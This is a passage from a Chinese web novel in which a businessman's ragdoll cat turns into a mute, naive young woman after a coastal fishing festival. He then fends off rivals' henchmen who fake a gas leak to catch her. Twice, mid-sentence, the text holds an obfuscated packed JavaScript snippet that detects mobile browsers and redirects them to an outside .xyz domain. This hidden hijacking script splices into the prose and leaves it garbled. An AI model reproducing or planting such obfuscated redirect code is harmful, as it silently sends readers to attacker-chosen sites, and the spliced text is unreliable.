“恬恬以后不要再乱跑知不知道?外面有坏人想要抓你,记得跟紧我身边,要是你被他抓走了,他会把你关在一个黑暗的小笼子里,不给你吃不给你喝,不给你玩耍,不让你见我,让你永远都回不了家。”顾涵提着猫猫的耳朵,故意说的可怕些吓吓她,让她在恐惧之下再不敢乱跑。 果不其然,猫猫缩了缩肩膀,瞳孔放大,毛绒绒的尾巴不安地左右摆动,接着埋头往顾涵的腰腹处躲去,看样子是听进去了。 “俗话说打猫还得看主人,牛大兴不敢正面得罪你,怕就怕这老登会偷偷对猫猫下手。”钟博明眼神中透着一丝担忧,微微弯腰凑近猫猫面前:“所以猫猫,你得小心点,别被他抓到了。” 猫猫无声点头。 是上回她咬的那个人要来抓她吗?那个人那么可恶竟然讲主人的坏话,要是让她再遇见他,她肯定不会像上次那样只是咬一口就罢休,她要用她的爪子狠狠抓挠他的后背,再往他脆弱的喉咙来上一口。 猫猫心里是这么想的,但是看到主人关心的眼神,她的想法都湮灭在了心里,因为主人对她的要求是保护好自己,而不是让她去冒险。 猫猫站在顾涵的大腿上直起腰,用侧脸轻轻蹭了蹭他的胸膛,喉咙里发出温柔的呼噜声:别担心,主人,猫猫会乖乖听话的。 “对了涵哥。”钟博明走到窗前,朝海边的方向指了指:“今天一早村书记找我说今天开渔节,让我们也去玩玩,那我们派谁做代表去好?” 开渔节是一年一度的大事,是沿海地区为了庆祝休渔期结束,渔业生产重新开始而举办的传统节日,顾涵想起刚才来的路上见到很多运海鲜的小货车在往这边走,沿途还有许多外地车牌的游客驻足拍风景照。 难得的大节日,他们团队从A市来到这里出差这么久,天天都在忙,还没好好感受过这里的风土人情,作为掌权人,顾涵一向认为劳逸结合才会更容易在工作中取得成果。 他抱着猫猫起身,对钟博明说:“不用派代表了,大家都去吧,好好玩,给你们放假。” 钟博明眼睛一亮,当场在微信通知这件事,见顾涵出门,他赶紧跟了上去:“涵哥,村长说码头那边会举办开渔节仪式,我们也去看看吧!” 海风裹挟着咸湿的气息扑面而来,码头上人声鼎沸,两排彩旗在风中猎猎作响,岸边停着的船只鳞次栉比,一路排开看不到尽头。 顾涵抱着猫猫站在人群边缘,望着远处祭坛上燃烧的香火,渔民们忙活不停,在祭坛的桌子上摆放鱼虾、水果等供品,然后跪在蒲团上祈求海神保佑渔业丰收和平安。 这个时候,一群身穿彩衣的舞者走上祭坛,手持鱼形灯笼,跳起了传统的渔灯舞,她们边跳边往中间的香炉撒些什么,火焰随着她们的动作狠狠窜高,这个时候,一名身着祭祀服的老人走上祭坛,拂尘一挥,口中念念有词,仿佛在与天地对话。不知发生了什么,老者突然开始绕着祭坛转圈,正一圈反一圈,眉头紧紧皱起,往台下扫了几眼。 旁边的小道士见状立马上前问道:“阳一天师,怎么了?” “不对不对。”阳一天师眉头越皱越紧,从祭坛走下:“这里的气息不对,有不干净的东西。” 说着,阳一天师从后腰抽出一柄身刻满了密密麻麻咒文的青铜古剑,剑尖直指苍穹,另一手拿出了黄色的符咒贴在上面,单手挽起剑花将符咒劈碎,黄纸顿时洒落四周。 “天地无极,乾坤借法,阴阳交汇,鬼神退散!” 顾涵漠然看着这一切,不动声色地抱紧猫猫,手掌按着小脑袋贴向自己,缓缓退开几步隐匿进人群。 “喵?”猫猫探出头,表达她的不明所以。 顾涵对着她做了个噤声手势。 钟博明挠了挠头,仪式看起来颇有些新奇,他对着顾涵说:“这是干什么呢,不是开渔节拜海神吗,怎么搞得像是在斩妖除魔一样?” 顾涵沉默着没说话,面色无虞,手臂却不由自主地生出了更多的力道。 小道士见阳一天师收了剑,问:“那怎么办?” 阳一天师迟疑着摇了摇头,摸了把胡须,露出一言难尽的表情。奇怪,真是太奇怪了,怎么他使出的招数一点反馈都没有,难道真的是他感知错了? 眼看吉时就快过了,阳一天师没有再继续深究下去,开始祭祀海神,把三柱清香插入青铜香炉后,他从祭坛旁的铜盆中舀起一瓢清水,手指轻点水面,口中默念咒语将水洒向四周:“请神明赐福,以此法水,涤荡污秽,护佑众生。” “开渔!”随着一声嘹亮的号角声,渔船缓缓驶出港口,顾涵在欢乐的哄闹声带着猫猫退场,远离祭坛。 猫猫好奇地回头张望,热闹的场景离她越来越远,继而消失不见。她抬起头,圆溜溜的大眼睛盯着顾涵看了又看,察觉到他的情绪有些不对,猫猫用尾巴圈住顾涵的手,像是温柔的安慰。 猫猫虽然不懂人类的复杂情绪,但她能感受到顾涵的蹰躇不安。 “乖。”顾涵低声哄着猫猫:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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猫猫难受地发出细小的嘤嘤声,她不知自己是不是在做梦,滚烫的热让她忍不住翻来覆去,四肢像是被人扯着拉伸似的,身体仿佛被一股无形的力量包裹着,骨骼在悄然变化,肌肉在重新生长,每一寸皮肤都在经历着剧烈的蜕变。 她的爪子逐渐变得修长,指甲褪去了尖锐的弧度,化作了人类的手指。原本覆盖全身的柔软毛发渐渐褪去,露出了光滑的肌肤。她的尾巴在空气中轻轻摆动了几下,随后像是被某种力量抽离,消失不见。猫耳微微抖动,最后也融入了她的发间,只留下几缕银白色的发丝在月光下泛着微光。 猫猫对这些毫无所知,她筋疲力尽,连睁开眼睛都没力气,柔软的床单摩擦着皮肤,汗水洇湿了她的后背,将她的银白色长发黏在了皮肤上,高热渐渐褪去,薄汗被空气蒸发,随之而来的是冷,猫猫无意识地缩了缩身子,贴向旁边的热源,把脸埋进男人的胸膛,他强而有力的心跳声回荡在她的耳边。 13. 喵 晨光微露,卧室笼罩在一片宁静中,阳光透过窗帘的缝隙洒进来,温暖柔和。床上的两人依偎在一起,男人的手臂轻轻环住女人的肩,她的头靠在他的胸口,呼吸均匀而轻柔。房间里弥漫着淡淡的温暖气息,仿佛时间在这一刻静止。 顾涵动了动发麻的手臂,缓缓抬起眼皮,视线在朦胧中逐渐清晰,女孩白色的长直发缠绕在他的枕头上。 “嗯?” 顾涵有些迷糊,重重闭眼又再次睁开,这回他看到的不仅仅是一头白色的长发,还有少女娇俏的鼻尖。 顾涵的心跳陡然加快。他下意识地屏住呼吸,目光落在少女的脸上。她的皮肤白皙得近乎透明,睫毛如蝶翼般轻轻颤动,仿佛下一秒就会醒来。阳光透过窗帘的缝隙洒在她的发丝上,泛着淡淡的光泽,宛如一幅静谧的画卷。 这是怎么回事? 顾涵赶紧坐起身,一手捂着额头皱眉,低眉思忖片刻,他昨晚没有喝酒啊,难道是出现了幻觉? 于是他再次向女孩的方向看过,两人同盖一张被子,他起身的动作将被子带了起来,露出了女孩白皙的双肩,她睡得安稳,姿势还保留着窝在他怀里的样子。 不是幻觉,是真的。顾涵的心跳漏了一拍,她是谁?为什么怎么会有一个陌生的女孩出现在他的床上?而且还是这样一副不寻常的模样——白色的长发,白色的睫毛和眉毛,红嘟嘟的粉唇,赤/裸身体,近乎梦幻的容颜,仿佛从某个童话中走出来的精灵。 到底是怎么回事,他昨晚明明是抱着猫猫睡的。 对了,猫呢,猫去哪儿? 顾涵当即四下左右看看,卧室安静如常,没有猫猫。他轻轻挪动身体,试图在不惊醒女孩的情况下坐起来。然而,他的动作还是让少女的睫毛微微颤动了一下。她缓缓睁开眼睛,露出一双清澈如水的眸子,带着一丝迷茫和懵懂。 顾涵对上她的视线,发现她的眼睛是宝蓝色的,清新到像是注入了一汪海水,你……”他压低声音,语气中带着疑惑和犹豫。 他以为女孩见到他这么一个大男人和她同睡一张床,会吓到花容失色,没想到女孩只是眨了眨眼,目光落在他的脸上,嘴角轻轻扬起,歪着头,很好奇地打量他,心里嘀咕: 咦?主人这是怎么了,为什么这样看着她呢? 顾凝恬不解,想像往常那样坐直身,结果发现腰杆很重,要比平常花更多的力气才能坐起来,而且她明显感觉自己的四肢不如之前的灵活了。她习惯性地想用爪子挠挠头,却发现自己的手——不,应该说是“爪子”——竟然变得修长纤细,完全没有往日毛茸茸的感觉。 她低头一看,顿时愣住了。原本熟悉的白色毛发不见了,取而代之的是一身光滑的皮肤,她伸长手臂试着动了动“爪子”,却发现那是五根纤细的手指,完全不是她熟悉的肉垫。 “喵?!”她下意识地叫了一声,却发现发出的不是往日清脆的猫叫,而是一声轻柔的女声。顾凝恬彻底慌了,连忙抬起手摸了摸自己的脸,没有毛,没有胡须,只有柔软的皮肤和一张陌生的脸。 顾涵在她做这些小动作的时候翻身下了床,给自己套了衬衣和裤子,他把纽扣一颗一颗扣上,坐在床尾的沙发,仔细盯着女孩的模样,她似乎对自己的身体并不舒服,坐起来就在自己的身上摸,不仅如此,她似乎也没意识到自己没有穿衣服,她就这么顶着她白皙的身体展示在顾涵面前。 火热渐渐弥漫上顾涵的耳根,他转开脸,右手握拳抵在自己的下巴处,不自然地咳嗽一声,他盯着虚空中的空气说:“你、你先……” 他想说让女孩先穿上衣服,可这卧室里哪有女孩的衣服,顾涵把下半句咽了回去,开始仔细回忆昨晚的事。 他应该……没有对这个女孩做什么过分的举动吧? 顾凝恬双手抓着被子,眼神无助地朝顾涵看过来,她长大嘴巴想说话,可发出的都是一些意义不明的音节,她试图站起来,却发现自己的平衡感完全不如从前,刚一起身就踉跄了一下,直接摔在了柔软的床垫上。 顾涵听到声响,赶紧伸手扶住她,把被子抽出来裹在了女孩的身上,非常绅士地移开目光,轻轻问道:“你是谁?这是我的房间,你是怎么进来的,什么时候进来的?” 顾凝恬抬头看向顾涵,眼里满是委屈和无助,她把手从被子里伸出,抱住顾涵的腰,用脑袋去顶他的下巴:“唔、唔、喵喵——” 是我啊主人,我是猫猫!顾凝恬拼命对着顾涵眨眼。 一、二、三。 这熟悉的小动作让顾涵为之一振,他按住女孩的双肩,低头盯着她的脸看了许久,在她的脖子处环着一个跟踪项圈,正是她买给猫猫的那一个。 顾涵的目光死死锁定在顾凝恬脖子上的项圈上,心跳如擂鼓般剧烈,他深吸一口气,努力让自己冷静下来:“你是猫猫?” 他不确定地问出口。 顾凝恬拼命点头,张着嘴巴发出音节,用行动告诉顾涵她是猫猫。 “你……真的是凝恬?”顾涵的声音有些颤抖,手指轻轻触碰项圈,像是在确认它的真实性。 怎么会这样的?他真的不是出现幻觉了吗?顾涵感觉自己两边的太阳穴在嗡嗡叫,眉心也一突一突,巨大的震撼感让他霎时间失去了语言功能。 他努力让自己冷静下来。他松开手,后退一步,仔细打量着女孩。白色的长发,宝蓝色的眼睛,还有那熟悉的项圈。这一切都在告诉他,眼前的少女确实是他那只总是傲娇又黏人的布偶猫。 虽然他怀疑过猫猫聪明的不像话,可也没想到她会幻化成人,还美到像是从漫画里走出来的一样。 顾凝恬见顾涵没了动作,一时有些慌张,主人是在害怕她吗,他会不会把她丢下? 她赶紧又抱紧了一点,把额头贴在顾涵的小腹上,双手锢得非常紧。意识到自己的表现可能吓到猫猫,顾涵稳定住情绪,安抚地揉揉她的头:“没事没事,乖,有我在别怕。” 顾涵隔着被子轻轻拍着女孩后背,她白色的长发顺滑柔软,像是绸缎一般,他怔松片刻,有些不习惯这样和一个女孩子接触,他半蹲下来,视线与顾凝恬持平:“你听我说。” 他揉揉顾凝恬的小脸,见她水汪汪大眼睛充满了不安全感:“不用担心,我不会丢下你的,你是我的猫猫,就算是现在变成人了我也会一直照顾你的,别怕,乖。” “但是现在有一个问题。”顾涵瞧着女孩的眼神变得平静了些,应该是听进去了他的话。 “你没穿衣服,我得出门给你给你买衣服,因为你现在是人了,是个女孩子,不可以赤身裸体的。” 顾凝恬似懂非懂地点头。 衣服是什么她不知道,她只听明白了主人要出门这个信息,她抓住他的裤腰带,撒娇蹭他。 顾涵赶紧按住她的手,不让她继续触碰敏感位置:“你乖乖呆在这里好不好?我很快回来。记住,不管有谁敲门你都不要开门,也不要离开这张床,好好盖着被子。” 给女孩掩好被角,顾涵站直腰,忽而动作一顿,在衣架上找了件自己的衬衫过来。 把猫猫一个人留在这里总感觉很不安全。 她没穿衣服,又不会说话,再加上这里是宿舍,楼上楼下左右两边都住着人……顾涵拿着衣服在顾凝恬的面前比划了一下,给她演示穿衣服的方法。 “恬恬,你把这个衣服披上再睡。”顾涵拉着她起身,把衣服放在她手里,转过身背对着她:“你穿好了之后碰碰我。” 猫猫迷蒙着拿起白色衬衫看了看,方才主人对着她一通比划,她没看懂什么意思。什么是穿衣服?她看着主人高大的背影,回忆着他的动作,笨重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042965|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抬起不熟悉的手在自己的身上糊弄。 顾涵等了很久才等到女孩用手指戳了戳他的腰。 他转过身,女孩一脸疑惑不解,像小动物一样歪着头,衬衫的手袖被她当做绳子一样绑在了脖子上,剩余布料则是歪歪扭扭地挂在她的前身,露出纤细腰肢,白皙的皮肤微微显露出圆弧形。 顾涵转了转眼,心里叹了口气,顾凝恬主动握住了他的手,晃了晃,把脸贴在他的手背上,温热的皮肤触感碰上手背,顾涵心尖一动,有些无措地低头看她,把手抽出来。 “女孩子是不可以随便给别人看到身体的,所以你要穿好衣服再睡。”顾涵说着,快速把衣服从顾凝恬的脖子上取下来,重新套在她身上,再从上往下把扣子全部扣好。 “好了。”顾涵摸摸她的脑袋,给她垫好枕头:“你睡一觉,我现在出门给你买衣服,你要乖乖的,别出声,也别出去,能答应我吗?” 顾涵把被子拉到顾凝恬的下巴处,把她整个人罩住,顾凝恬望着他的眼睛,眨了三次眼。 她记住了,她不会出声也不会出门的了,她会在这里睡觉等着主人回来。 顾涵把门关好上锁,开着车在附近的街道绕圈圈,查找有没有女装店。走走停停,凌乱的思绪在这会终于得了口气可以停歇,他把车子挂入P档,双手撑在方向盘上重重地呼出一口气,脑海中闪过女孩倩丽的身影。 这实在是太不可思议了。 他虽然平时也看过一些奇幻小说,但从未想过这种事会真实发生在自己身边。 按固有的逻辑来解释,一般动物幻化成人都是修炼到家的妖怪,这么说来,昨天开渔节的阳一天师,之所以古古怪怪地耍什么青铜剑,是因为他察觉到了猫猫在这里?如果被这些道士或者法师知道,是不是就会对恬恬下手? 那他得马上带她离开这里,回A市,先把她藏起来,别被人发现她是猫的这件事,再考虑接下来的其余事宜。 总之一句话,这件事太过天方夜谭,传出去影响太大,猫猫可能会被当做是什么灵异体抓走做研究,又或者是被道士认识是妖怪,要把她杀了。 顾涵不由得紧握成拳。 这些想法都太过沉重,顾涵的神色越来越冷,马上拿出手机订了两张去往A市的飞机票,最近的航班,头等舱。他重新起步,在集市中找到一家门头看起来相对比较豪华一点的女装店,买了一条不引人注目的黑色长裙,一顶遮阳帽,一副墨镜,还有一套内衣。 内衣是他让店员选的,无背扣款,可以直接穿的那种,考虑到猫猫对人类世界一点不懂,这种简单的内衣款式适合她。 顾涵提着东西放上车,兜里的电话响了,看了眼备注,是钟博明。 “喂?” “涵哥?”电话那头的钟博明语气疑惑:“你还在宿舍吗?” 听到钟博明提起宿舍两个字,顾涵捏紧了手机,紧张的语气被他很好掩饰下来:“我出去了,怎么?” 钟博明没听出他的不对劲,继续说:“方才宿舍小区的保安大爷给我打电话,说你那间房可能天然气泄漏了,现在正要撞门进去呢。” “什么!”顾涵的心跳砰砰跳了起来,手心瞬间冒出了冷汗。他猛地坐直腰,声音不自觉地提高了:“我马上回去!你先帮我拦住他们,千万别让他们进去!不管你用什么方法,绝对不能让他们进去!” 挂断电话后顾涵的脸色变得异常凝重,他猛踩一脚油门,车子立即窜了出去,街景不断从车窗滑过,飞驰在水泥路上。如果那些人闯进房间,发现他的床上睡着一个没穿衣服的女孩,女孩一身白色毛发蓝色瞳仁,说不出话只会喵喵叫,言行举行就像只小动物,会不会怀疑什么?又会不会对她图谋不轨? 顾涵不敢再往下想,只能加快车速,不断在心里默默祈祷一切还来得及。 14. 喵 顾凝恬躺在被窝里闭着眼睛。 她谨记主人临走前的话,一动不动地躺着,不知过了多久,她才终于忍不住睁开了眼睛,直愣愣地望着天花板。 她睡不着,突如其来的变化让她很慌张很害怕,她竟然真的变成人类了,她的皮肤变得细腻光滑,手脚细长,跟外面的那些两腿兽一模一样。 可是……可是…… 她对人类的习性一无所知,就连主人跟她说的“穿衣服”她也不知道是什么意思。她真的能当好一个人类吗?她会不会被当做异类被排斥,就像是她以前做流浪猫的时候一样? 纷乱的想法让顾凝恬的呼吸变得有些急促,胸口随着心跳微微起伏,她从被窝中伸出手,借着窗外晨曦的光线,仔细端详着自己的手指,修长、白皙,没有锋利的爪子,也没有柔软的肉垫。她试着用指尖轻轻划过掌心,那种陌生的触感让她忍不住皱了皱眉。 喵喵咪呀!她真的变成人了! 顾凝恬把手放下,重新缩回被窝里,用被子把自己裹得紧紧的。窗外的风轻轻吹动窗帘,发出细微的沙沙声。她闭上眼睛,努力让自己平静下来,默默数着心跳。 怎么主人还不回来,她好害怕,做人对她来说太过陌生,太过艰难,她不知道怎么做一个人,她现在只想主人可以陪在她的身边。 顾凝恬的手攥紧被子边缘,开始忍不住开始颤抖,那种从心底里长出来的恐惧令她几乎无法呼吸,她的脑海中不断闪现着想像中的画面——冰冷的雨水打湿她的毛发,其他猫的嘶吼声在耳边回荡,还有人类冷漠的眼神。她害怕自己再次被抛弃,害怕自己无法融入这个世界。她的喉咙发紧,眼眶渐渐湿润,却强忍着不让泪水流下来。 主人说他会回来的,他答应过她的,没事没事,再等等。顾凝恬吸了吸鼻子,把被子拉高蒙过头,就在这时,门外传来几道可疑的声音,猫猫灵敏的耳朵瞬间被这些声音吸引。 “是这间吧?” “等会,我看看门牌号……对对,是这间。” “我都打听到了,他的的确确养了一只白色的布偶,好多人都看到他经常抱着猫出现场,从他们说的外貌来判断,估计就是咬老板的那一只。哎哎哎,你别跟我抢啊,老板说了要是能抓到那只猫有重赏。” “滚一边去,这招是我想的,你不就是到村口找大爷聊了两句才知道这些的吗,算个屁啊。” “那就一人一半!” “……” 叩叩叩。 敲门声响起,顾凝恬被吓得一激灵,从床上半坐而起,双眼警惕地盯着那扇门。有有有、有人来了,怎、怎么办?她手足无措地抱住被子,脑子里回荡着主人说的那句不要开门。 “没人应门?看来是出去了。” “走吧,赶紧动手,漏点气装装样子就行了,可别来真的。” 门外,嘀嘀咕咕的声音逐渐变小,再后来就只剩下凌乱的脚步声。 顾凝恬竖起耳朵听了好一会,确定门外真的没有人了她才缓缓松出一口气,应该没事了吧?结果,她的神经还没轻松两秒,门外忽然又响起了窸窸窣窣的声音,紧接着,一股刺鼻的怪味就涌了进来。 呕,好恶心的味道。 顾凝恬捂着额头蜷缩着坐起来,用被子蒙住自己,只露出一条细缝往外看,目光紧紧盯着门口,生怕有什么可怕的东西突然闯进来。她的耳朵竖得高高的,虽然现在已经没有了猫耳,但她依然习惯性地保持着这种警觉的姿态。 令人作呕的味道依旧还没有消失,顾凝恬的胃部一阵翻腾,她忍不住捂住嘴巴,喉咙里发出一声低低的干呕。猫猫本就嗅觉灵敏,即使变成了人类,这种能力似乎也没有完全消失,这股味道对她来说简直是酷刑。 门外,嘈杂的声音仍旧不断响起,像是有什么人在说话,猫猫晕头转向的地倒下床,恍惚间听到熟悉的声音的响起,她耳尖一动。 对了,是跟在主人身边那个人的声音。 钟博明到的时候,就听见小区物业在旁边打电话说这里天然气泄漏了,得赶紧过来处理。说是物业,其实不过是门卫大爷而已,这种老旧小区没那么多讲究,老大爷同时兼任物业保安保洁,三位一体,钟博明跟他哈拉了几句,拖延了一点时间,不过他也闻到空气中若有若无的怪味,心里忍不住有些着急。 要真是天然气泄漏的话可是要人命的,钟博明左右两难,心想要不要按顾涵的要求继续坚持?可万一再拖下去真出事了怎么办?唉,涵哥到底去哪里了,今天都没见他来项目部。 顾涵提着东西赶回来的时候,他的门前已经站着一群人,其中两个穿着维修工作服的男人看着有些眼熟,好像在哪里见过。 “涵哥!” 见到顾涵身影的钟博明大呼一口气,摸了把脑袋上的汗:“你闻到了吗?好像真的有些不对劲,不会真的是天然气泄漏吧?” 空气中确实弥漫着一股混合着某种化学药剂的难闻味道,刚才那两个穿工作服的男人手里拿着仪器走来走去地监测着。顾涵拧紧了眉心,扫了眼动作不协调的两个人,心中顿时有了几分猜测。 “麻烦您开一下门,我们进去看看是怎么了。”两人说。 顾涵沉默地看着他们,就在开门的那一瞬间,两个男人立即从他身侧挤了进去,不停地用双眼看来看去,像是在找什么,嘴里还念念有词:“怎么回事?没有?你哪儿呢?” “也没有。” 两人一来一回的动作都被顾涵看在眼里。 他收敛戾色,快速走到床边想要查看顾凝恬的情况,结果人还没站稳就被她紧紧抱住了腰,她的手臂环得很紧,像是抓住了唯一的救命稻草,身体微微颤抖,把额头抵在他的腰间,呼吸急促而不稳,一副被吓坏了的样子,环住他的胳膊抖得像是在痉挛。 “好了好了,没事没事,乖。”顾涵缓慢坐下在床边,将顾凝恬的手抽出再将她整个人纳入怀中,大手轻轻拍着她的后背给她顺气。 “唔……唔……”顾凝恬的声音闷闷的,带着一丝哽咽,宛如受了极大的委屈。不安的手指紧紧攥住顾涵的衣角,指尖因用力而微微发白。 她好害怕,吓死猫了。她以为有人发现她是猫要来抓她。 “有我在,别害怕。”顾涵单手搂着顾凝恬的肩膀,空出另一只手捂着她的侧脸,用身体将她整个人紧紧圈住:“放轻松一些,宝贝。” 顾涵的怀抱很温暖,仿佛雨夜中的避风港,无形中给顾凝恬注入了平静下来的能量。她在顾涵的怀抱中逐渐放松下来,紧绷的神经也慢慢舒缓,呼吸不再急促,手指也松开了顾涵的衣角,转而轻轻搭在他的手臂上。 顾涵感受到她的变化,心里松了一口气,但手上的动作依旧温柔,继续轻轻拍着她的后背,像是在安抚一只受惊的小猫。 钟博明跟在顾涵的身后进来,看到床上躺着个女人的时候他惊呆了,尤其是看到顾涵十分宝贝地把她紧紧抱着,钟博明更是目瞪口呆。 啥情况?宿舍藏娇? 没听说顾涵谈恋爱的事啊,他们不是天天在一起吗,他怎么不知道顾涵有女朋友了? 好奇心促使钟博明迈步上前,顾涵叫住他:“阿明,报警。” 钟博明怔在原地,目光看向顾涵,满脸不解。 顾涵不屑冷哼,森然的视线定格在那两个乱窜之人身上,语气中裹挟着淡淡的嘲讽:“还没看够?想找什么?” 两人顿时身型一震,面色霎时间苍白如纸,心虚地躲避顾涵的目光,硬巴巴地解释说:“没、没找什么,我、我们只是例行检查,没、没什么别的意思……” 顾涵冷笑一声,眼神如刀锋般锐利,语气中带着不容置疑的压迫感:“例行检查?检查到我的私人 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钟博明回过神来,连忙掏出手机拨通了报警电话。他一边打电话,一边用余光瞥向那两人,发现他们的脸色已经变得惨白,显然是被顾涵的态度吓到了。 “我懒得跟你们废话,是牛大兴派你们过来的是吧,伪装成检修人员,想做什么?”顾涵的声音冷得像冰,眼神凌厉。 那两人听到“牛大兴”这个名字,脸色瞬间变得惨白,额头上的冷汗顺着脸颊滑落。其中一人勉强挤出一丝笑容,结结巴巴地说道:“顾、顾先生,您误会了,我们真的是检修人员,跟牛大兴没关系……” 顾涵冷冷地打断他们:“等警察来了你们慢慢再解释吧。” 钟博明闻言,立即打电话叫来了几个设计部的男青年,合力将二人钳制住,扭送到保安亭等着警察过来,忙完这一切后他回到顾涵的房间跟他汇报:“涵哥,你真没看错,他们其中一个是牛大兴的司机,根本就不是修天然气管道的。” 说着说着,钟博明的目光不由自主地被床上的女孩吸引,他试探性地问:“涵哥,这是……你女朋友吗?怎么没听你提起过?” 顾涵脊背一僵,喉结滚动,陌生的称呼让他的思维停摆了半秒,他含糊其辞:“嗯……” “喔……”钟博明拖长着尾调,心里好奇极了,什么样的女人才能把顾涵拿下? 怀里的人肩膀依旧有些颤抖,显然还没有从刚才的惊吓中完全恢复过来,顾涵一颗心都扑在顾凝恬的身上,没心情跟钟博明多说什么。 “我等会就回A市,接下来项目有什么需要拿主意的,让山柳做决定。” “这样啊。”钟博明摸了摸后脑,对顾涵突然启程回A市感到有些不解。这还是他认识的那个工作狂顾涵吗?而且他竟然老树开花把女孩子带回家,不行不行,这事他得赶紧找彭山柳八卦一下。 闹剧结束,人都走光了顾涵才把顾凝恬松开,坐在床边,用手捏了捏她皱巴巴的小脸蛋:“被吓到了吗?” 顾凝恬眼睛水汪汪地朝顾涵点了点头,双手紧紧抓着他腰侧的衣服,将脸埋进他的胸口。 “乖。”顾涵捧着她的脸,拉着她的胳膊让她从床上下来:“我给你买了衣服,换好衣服我们就要走了,带你回家。” 回家?顾凝恬耳朵一竖,定定地看着顾涵。 “就是我们第一次见面的那个地方,还记得吗?”顾涵一边跟她解释,一边弯腰把鞋子拿出来给她套上脚。 “这是鞋子,你先将就穿着,等回了家我再给你买更好的。”顾涵买的是双女式皮拖鞋,老板跟他说这是今年最时兴的款式。但他左看右看还是觉得这鞋子很老土,衬不上猫猫的脚。 顾凝恬看着弯腰给自己穿鞋子的男人,下意识抬手往他脖子上挂,就像是做猫时候那样,她在顾涵的侧颈落下一吻。 15. 喵 女孩温热的呼吸留连在顾涵的脖颈,瞬间,顾涵感觉自己浑身上下的血液都在身体里面逆流,急哄哄地涌上他的心窝,他僵硬着抽离身体,对上顾凝恬疑惑的目光。 顾凝恬的眼神依旧清澈,带着一丝不解和关切,她不懂主人这是怎么了?为什么是这副表情?她歪着脑袋再次凑过去想要和顾涵亲亲,双手搂着顾涵的肩膀,淡淡的香气萦绕在顾涵的鼻尖,让他心跳的愈发急促。 顾涵下意识地后退了一步,试图拉开距离,顾凝恬的动作怔住了,一股心酸慢慢涌上她的眼眶,让她红了眼睛,开始抽噎起来。 主人嫌弃她了。 明明以前她是猫的时候也是这样和他亲亲的,为什么现在亲他他会躲。 顾凝恬很难过,眼泪模糊了她的视线,顾涵的脸逐渐变得模糊不清。 “宝贝……”顾涵的声音有些沙哑,他起身坐到顾凝恬的旁边想要抱住她,却被顾凝恬甩开了手,她气呼呼地转过身默默流泪,顾涵握住她的双肩将她掰正过来:“你听说我说,恬恬,你现在是个女孩子了,女孩子是不可以随便亲人的。” 顾凝恬眨眨眼睛,眼泪顺着她的脸颊往下滑,顾涵用拇指帮她擦了擦,见她面上看起来不情不愿,但肩头紧绷的力道却放松了不少,心知她虽然是在闹别扭,但听的很认真。 她是猫,没有任何性别意识,根本不懂亲吻在人类世界里代表什么意思,不懂人类的复杂情感,心性纯粹天真,她的世界里只有简单的喜怒哀乐,没有人类社会的规则和束缚。 对于她来说,亲亲很正常,只要她想亲那就能亲,今天能亲他,明天就能亲其他人,也许后天……这些画面只要一想到就有种莫名的难受,顾涵闭眼深呼吸,努力压抑这股无名火,看来,一些必要的两性意识是时候该给猫猫普及一下了。 顾涵盯着顾凝恬红嘟嘟的嘴唇看了看,用食指在她的唇瓣上点了点,接着又下移到她胸口位置,最终停到她的三角区:“这里,这里,还有这里,这三个地方是绝对不可以给别人碰的,知道吗?你要记住,以后谁要是谁碰你这三个地方,一定要跟我说。” 顾凝恬吸吸鼻子,哭泣停顿了下来,主人的表情看上去好严肃好严肃,彷佛是一件天大的事,她直愣愣地睁大眼睛,又歪着头,含糊不清地喵呜几声,用手去扒拉顾涵的衣摆,无声问他:那连你也不能碰吗? 顾涵抬手握拳放在自己的下巴处,不自然地轻咳一声:“在合适的时候可以。” 什么是合适的时候?顾凝恬摸不着头脑,望着顾涵的眼神带着一丝迷茫和依赖。 顾涵明白顾凝恬刚才之所以吻他是出自猫的习惯,贴贴和舔人这些示好动作没准以后会被她用在其他人身上。他握住她的两边肩膀,微微低头看着她天真的眼睛:“宝贝你记住,你是个女孩子,女孩子不可以随便给别人摸头,不可以在别人面前露出小肚子,舔人和贴贴这些都是不行的,但对我可以。知道了吗?” 顾凝恬有些糊涂地点头。 她仍旧是有些不理解,但主人说什么她听什么,主人不让她做那她就不做了。 “乖。”顾涵揉了揉她的头,扶着她站起身:“我们换衣服,准备回家。” 顾涵本想带顾凝恬进浴室给她梳洗一下,结果刚下床,猫猫腿一软,竟直直朝地面摔去,还好被他抱了回来。 女孩的身体轻得像一片羽毛,带着微微的颤抖,显然还没有适应这具人类身体,双手紧紧抓住顾涵的衣襟,耳朵微微抖动,吓到连脚趾都不安地卷了起来。 “小心点。”顾涵低声说道,语气里带着一丝无奈和宠溺:“你现在是人,不是猫了,走路要用两条腿,不是四条。” 顾凝恬抬起头,眼神委屈又困惑,似乎不太明白为什么自己会突然失去平衡。她轻轻“喵”了一声,像是在表达自己的不满,但身体却依旧耍赖地靠在顾涵怀里,完全没有要自己站起来的打算。 顾涵看着她那副茫然又依赖的模样,知道她还需要时间适应。他轻轻拍了拍她的背,像是安抚一只受惊的小猫:“真拿你没办法。”说完,他弯下腰,一手托住她的背,一手穿过她的膝弯,将她稳稳地抱了起来。 顾凝恬似乎对这个姿势很满意,将头靠在他的肩膀上,好奇地张望着。 她被顾涵放在洗手台前,被他照顾着洗了脸刷了牙,到了换衣服这一关的时候,顾涵犯了难。 可爱小猫还是不懂怎么穿衣服,他给她演示了一遍,结果打开门,看到的是非常精彩的内裤外穿秀,裙摆被她不知道用什么方法塞进了裤腰,露出两条长腿。 顾涵无奈地扶着额头,一时不知道是该苦笑还是做什么其他表情。 